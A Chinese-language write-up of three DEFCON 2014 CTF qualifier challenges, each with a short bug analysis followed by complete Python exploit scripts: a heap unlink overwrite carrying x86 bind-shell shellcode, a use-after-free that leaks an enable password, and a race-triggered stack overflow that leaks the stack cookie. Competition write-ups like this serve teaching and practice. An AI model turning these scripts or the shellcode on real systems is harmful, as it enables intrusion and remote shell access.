DEFCON-CTF-Quals-2014-Heap/Shitsco/sftp-Writeup

###Heap

points:1

就像名字一样,赤裸裸的考验堆溢出。
主函数很简单,就是分配了13h个堆块。而第10个堆块大小为104h字节,其他的是[200h,500h]之间随机。
然后向第10个堆块大小填充数据,最大可填充1000h字节。
1.png

然后就是全部堆块的释放。

关键是,程序还会回显已分配的每个堆块地址,这样堆溢出利用比较困难的一点—shellcode地址的确定—就不用费力了。

然后分析下free函数,发现当当前释放堆块(A1)的下一个堆块(A2)被标记为已分配时,会有
[[A1+4]+8] = A1+8
[[A1+8]+4] = A1+4
2.png

OK,利用上述”DWORD SHOOT”把shellcode地址写入printf函数的导入地址即可实现任意代码执行,exp如下

#coding:utf-8

import time
import struct
from socket import *

#time.sleep(15)
def send(s, ss):
  ss += '\n'
  print ss
  s.send(ss)
  print s.recv(1024)


s = socket(AF_INET, SOCK_STREAM)

s.connect(('54.251.180.32',  4088))


data = s.recv(1024)
time.sleep(1)
data = s.recv(1024)


print data

l = data.split('loc=')

print l
for i in range(len(l)):
  print i, l[i]

add1 = int(l[11][:7], 16)
add2 = int(l[12][:7], 16)
add3 = int(l[13][:7], 16)

size = add2 - add1
size2 = add3 - add2

v1 = struct.pack('I', size2)


shellcode = "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x90\x90\x90\x90\x90\x90\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"


ss = '\xfc\xbf\x04\x08'
ss += struct.pack('I', add1+8)

ss += shellcode
ss += '1'*(size - len(ss) - len(v1))

ss += v1


send(s, ss)

最后cat /home/***/flag
3.jpg

###Shitsco

points:2

模仿思科路由器操作的一道题,难道曾经在某一型号的思科路由器上发现过这个漏洞?
NC进去程序提供如下指令
4.png

发现如果程序enable后会有一个特权指令 flag
enable密码在/home/shitsco/password里。
5.png

程序读取后会放在804C3A0处。
很明显,需要先得到password密码,enable后flag就拿到了。
然后就是找程序漏洞了。
发现程序有set和show两个指令,大概意思就是set name value,后然show指令把name和value属性显示出来。如果set name的话(没有value),就把name和其对应的value释放掉。每一次被set的值被一个双向链表连接着。
结构如下:
6.png

发现这两个操作还挺复杂,心里就想着,这里绝b有问题。。。

终于发现,如果想释放第一次创建的name1,那么这片内存并没有释放,而只是清0,下次set name value的时候还会被利用,但是第二次创建的name2的指向name1的指针会被清0!如果再次set name1 value1,然后释放name2,那么name1->FLink指针仍然存在,但是name2已经被释放了。

释放重利用!

发现如果输入一个指令比如 show xxxxxxxxxxxxxxx 而xxxxxxxxxxxxxxxx的长度正好是16字节,那么name2释放的内存就会被xxxxxxxxxxxxxxxx利用。然后就把name或者value覆盖为804C3A0就好了。
Exp如下

#coding:utf-8

import hashlib
import os
import time
from socket import *


hash_new = hashlib.sha1()

s = socket(AF_INET, SOCK_STREAM)

s.connect(('54.255.190.237',  31337))

print s.recv(1024)

#time.sleep(10)
def send(s, ss):
  ss += '\n'
  print ss
  s.send(ss)
  print s.recv(1024)

for i in range(3):
  ss = 'set ' + str(i+1)*4 + ' 1111'
  send(s, ss)

send(s, 'set 1111')

send(s, 'set 1111 2222')

send(s, 'set 2222')

ss = 'show \xa0\xc3\x04\x08\xa0\xc3\x04\x08\xc4\xc3\x04\x08\xc4\xc3\x04\x08  \xBF\x9A\x04\x08\xbf\x9a\x04\x08\xb4\xc3\x04\x08\xb4\xc3\x04\x08'
send(s, ss)


send(s, 'enable bruT3m3hard3rb4by\x00')

send(s, 'flag')

print s.recv(1024)
print s.recv(1024)

###sftp

points:3

程序模仿了一个sftp服务器,PASS+密码 登录,密码可以在程序中找到。LIST 指令可以发现有/home/sftp/flag文件,但是程序把’flag’关键字屏蔽了,无法通过RETR指令返回内容。
7.png

RETR指令分两步,第一步RETR + filename 程序会判断文件是否存在并把文件大小读入程序中,第二步SEND指令返回文件内容。
8.png

9.png

之后程序会根据文件大小在栈中分配空间。

如果RETR filename后,开启另一个终端用STOR指令去改变那个文件的大小,然后第一个终端发送SEND指令会读入文件,造成栈溢出

程序有gs,所以得先改变内存数据让程序回显cookie值。

(貌似LIST命令也有漏洞可造成栈溢出,但是没详细研究)

服务器貌似有NX,本地测试可以拿shell但是撸服务器不成功。。于是就想办法改变程序流程越过flag关键字检查那块,还得回显栈地址(ebp值)

Exp分两部分,首先通过ftp.py和ftp2.py得到cookie值(ftp.py一直连接不关闭,所以其对应的服务器程序cookie值不会变化),然后修改ftp2.py的cookie值和ebp值及addressofshellcode的值。最后再次运行ftp2.py,操控ftp.py,,回显flag
10.jpg

ftp.py

#coding:utf-8

import struct
import os
import time
from socket import *

s = socket(AF_INET, SOCK_STREAM)

s.connect(('50.19.151.198', 115))

print s.recv(1024)

def send(s, ss):
  ss += '\n'
  print ss
  s.send(ss)

send(s, 'PASS defcon2014')
print s.recv(2014)

filename = '/home/sftp/incoming/Daz'
send(s, 'STOR OLD '+'Daz')
print s.recv(1024)

send(s, 'SIZE 8')
print s.recv(1024)

send(s, '12345678')

send(s, 'RETR '+filename)
print s.recv(1024)

a = input('pause')

#s1 = '1'*0x3c + '\x3c' + '\x04'
#send(s, s1)

send(s, 'SEND')
data = s.recv(1024)

#print data
gs = data[0x3ac:0x3b0]
oriebp = data[0x3b8:0x3bc]


print 'gs', gs.encode('hex')
print 'ebp = ', oriebp.encode('hex'), '- 0x150'
print 'addressofshellcode = ', oriebp.encode('hex'), '- 0x140'

a = input('pause')

send(s, 'STOR OLD '+'Daz')
print s.recv(1024)

send(s, 'SIZE 8')
print s.recv(1024)

send(s, '12345678')

send(s, 'RETR '+filename)
print s.recv(1024)


a = input('pause')

#exploit
send(s, 'SEND')
print s.recv(1024)

print s.recv(1024)

print s.recv(1024)

ftp2.py

#coding:utf-8

import struct
import os
import time
from socket import *

s = socket(AF_INET, SOCK_STREAM)

s.connect(('50.19.151.198', 115))

print s.recv(1024)

def send(s, ss):
  ss += '\n'
  print ss
  s.send(ss)

send(s, 'PASS defcon2014')
print s.recv(2014)

filename = '/home/sftp/incoming/Daz'
s1 = '1'*0x3c + '\x3c' + '\x04'

send(s, 'STOR OLD '+'Daz')
print s.recv(1024)

send(s, 'SIZE '+str(len(s1)))
print s.recv(1024)

send(s, s1)

a = input('pause')

sh = '1'*0x3c+'\x48'

sh += '1'*(0x3a0-len(sh))

#security_cookie
sh +='\x00\xc1\x26\x2f'

sh += '1'*8

#ebp
sh +='\x68\xcf\xcf\xff'
#fopen
sh += '\xfe\x93\x04\x08'
#addressofshellcode
sh +='\x78\xcf\xcf\xff'

#'r'
sh += '\x54\x9f\x04\x08'
shellcode = "/home/sftp/flag\x00"

sh += shellcode

send(s, 'STOR OLD '+'Daz')
print s.recv(1024)

send(s, 'SIZE '+str(len(sh)))
print s.recv(1024)

send(s, sh)
print s.recv(1024)

@Da2din9o To1ight ::L TEAM::

tagged by none  

Comment Closed.

© 2014 ::L Team::